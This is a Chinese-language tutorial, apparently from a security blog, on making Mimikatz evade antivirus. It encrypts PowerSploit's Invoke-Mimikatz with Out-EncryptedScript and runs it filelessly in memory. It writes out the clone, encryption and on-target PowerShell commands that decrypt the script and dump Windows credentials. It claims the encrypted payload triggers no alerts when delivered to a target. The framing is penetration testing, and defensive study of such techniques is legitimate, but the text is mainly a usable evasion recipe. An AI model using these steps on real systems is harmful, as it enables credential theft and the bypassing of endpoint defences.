Mimikatz
Mimikatz可以从Windows内存中dump出登录用户的密码hash(或明文密码),在安全界可以说家喻户晓,在2016年前后也是大杀四方,现在虽然微软已经发布了相关补丁但是对于大量存量版本Windows系统来讲依然是杀伤力巨大。
当前业界大多数防病毒产品对于原生和大部分变种的mimikatz已经有比较高的查杀率,因此在渗透过程中如何投递如何免杀是个大问题,业界已经有很多mimikatz免杀的技术,本文介绍一种基于Powershell Invoke-Mimikatz进行二次加密,实现无文件执行+免杀的方法
工具
PowerSploit工程提供了多种黑客工具的加密版本和加密方法,基本都是基于Powershell的,其中也包括了[Invoke-Mimikatz]
(https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1),他已经对mimikatz进行了一次加密,并且将通过powershell封装可以让其直接在内存中运行而本地无明文的mimikatz。
但是即便这样大部分杀毒软件也已经可以识别Invoke-Mimikatz脚本并进行查杀了。。
免杀
在最近一次渗透测试中,蓝军的做法给了新的思路,如果对Invoke-Mimikatz再做一次加密,并将解密的内容全加载到内存,似乎又可以做到无文件和免杀了。
这里我们用到PowerSploit里面的Out-EncryptedScript.ps1实现,这个神奇可以加密所有文本文件或者脚本,并将解密结果写到内存,磁盘上不留半点痕迹。
步骤
要制作一个二次加密的Invoke-Mimikatz需要先下载PowerSploit工程到本地
大部分杀毒软件会把这个工程里面的关键文件识别为病毒并且直接干掉,所以建议在试验环境或者虚拟机中执行
git clone https://github.com/PowerShellMafia/PowerSploit
将Out-EncryptedScript.ps1与Invoke-Mimikatz.ps1放在一起,启动Powershell执行加密过程
C:\PS> Out-EncryptedScript .\Invoke-Mimikatz.ps1 password salty
password
是加密脚本的秘钥,salty
是随机数,防止密码破解。这两个东西要记好,在解密的时候会用到。执行成功以后会生成一个叫evil.ps1
的文件在当前目录,这个就是加密后的结果,也就是免杀的最终文件,把这个文件投递到目标机器完全不会触发任何告警,因为脚本本身就是一串加密但是看起来无害的字符。
执行加密脚本
在目标机上执行以下powershell命令
C:\PS> [String] $cmd = Get-Content .\evil.ps1
C:\PS> Invoke-Expression $cmd
C:\PS> $decrypted = de password salt
C:\PS> Invoke-Expression $decrypted
C:\PS> Invoke-Mimikatz
还是那熟悉的配方,真香!
最后提一点,上述开源项目最近3年似乎都没有更新过,但是powershell的版本一已经从v2到了v5,所以基本上Invoke-Mimikatz对win7和windows2008 R2还有用,但是对之后的版本基本上就不好使了。
有关mimikatz对防病毒的免杀还有一篇神奇的文章可以参考一下:https://www.blackhillsinfosec.com/bypass-anti-virus-run-mimikatz/